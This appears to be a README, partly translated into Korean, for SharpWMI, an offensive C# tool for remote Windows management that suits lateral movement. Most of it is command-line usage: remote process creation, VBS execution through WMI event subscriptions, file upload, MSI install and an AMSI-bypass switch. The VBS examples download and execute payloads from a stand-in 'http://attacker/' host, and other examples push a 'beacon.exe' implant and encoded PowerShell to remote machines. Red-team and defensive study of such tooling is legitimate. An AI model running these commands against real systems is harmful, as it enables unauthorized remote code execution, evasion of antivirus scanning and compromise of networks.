
SharpWMI는 다양한 WMI 기능을 C#으로 구현한 것입니다.
SharpWMI는 다양한 WMI 기능의 C# 구현입니다. 로컬/원격 WMI 쿼리, win32_process를 통한 원격 WMI 프로세스 생성, WMI 이벤트 구독을 통한 원격 VBS 실행 등을 포함합니다. 원격 메서드에는 대체 자격 증명도 지원됩니다.
@harmj0y가 주요 저자입니다.
SharpWMI는 BSD 3-Clause 라이선스에 따라 라이선스가 부여됩니다.
Local system enumeration:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
Remote system enumeration:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
Remote system Logged On users enumeration:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
Remote process creation:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
Remote VBS execution:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
File upload via WMI:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
Remote firewall enumeration :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
List processes:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
Terminate process (first found):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
Get environment variables (all if name not given):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
Set environment variable:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
Delete an environment variable:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
Install MSI file:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
참고:
- 모든 원격 함수는 선택적으로 ""username=DOMAIN\\user"" ""password=Password123!""를 받습니다.
- computername이 지정되지 않으면 로컬호스트를 대상으로 합니다.
action=exec (또는 action=create)의 result=true 옵션을 사용하면 SharpWMI가 원격 WMI 프로세스 생성 후 명령의 출력을 반환합니다. 명령 출력을 임의의 WMI 개체 인스턴스에 저장한 다음 호출자가 가져와 원래 값으로 복원하는 방식으로 작동합니다.
executevbs 액션은 SharpWMI 원본 버전에 비해 재작업되었습니다. [script-specification]에 정의된 스크립트 사양은 이 도구가 대상 VBS 코드를 가리키는 다음과 같은 방법을 제공합니다:
A) Executes OS command via preset VBS code:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) Downloads Powershell commands from URL and execute them from within VBS via Powershell's StdIn:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) Download a binary file from given URL, store it in specified path and then execute it:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) Download a binary file from given URL, store it in specified path and then execute arbitrary command:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) Read VBS script from file and execute it:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) Execute given VBS script given literally:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) Base64 decode input string being encoded VBS script and execute it on remote machine:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) Read contents of given file, base64 decode them and then execute on target machine:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
마지막으로 'executevbs' 액션에는 초 단위로 정의된 추가 [time-specs]가 있을 수 있습니다. 이는 스크립트 트리거 및 대기 시간 제한을 지정합니다:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
원격 Windows 10 머신에서 로컬 TCP netstat 스타일 정보를 가져옵니다:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
SharpWMI의 바이너리를 출시할 계획이 없으므로 직접 컴파일해야 합니다 :)
SharpWMI는 .NET 3.5를 대상으로 빌드되었으며 Visual Studio 2015 Community Edition과 호환됩니다. 프로젝트 .sln 파일을 열고 "release"를 선택한 후 빌드하기만 하면 됩니다.
| 기여 | 저자 |
|---|
| SharpWMI 원본 구현 | Will Schroeder @harmj0y |
| WMI 코드 실행 출력 아이디어 | Evi1cg @Ridter |
| SharpMove에서 가져온 AMSI 우회 코드 | Steven Flores 0xthirteen |
| 개선 사항, VBS 유연성, 파일 업로드 | Mariusz B. / mgeeky @mariuszbit |
| MSI 파일 설치 | Justin Bui @slyd0g |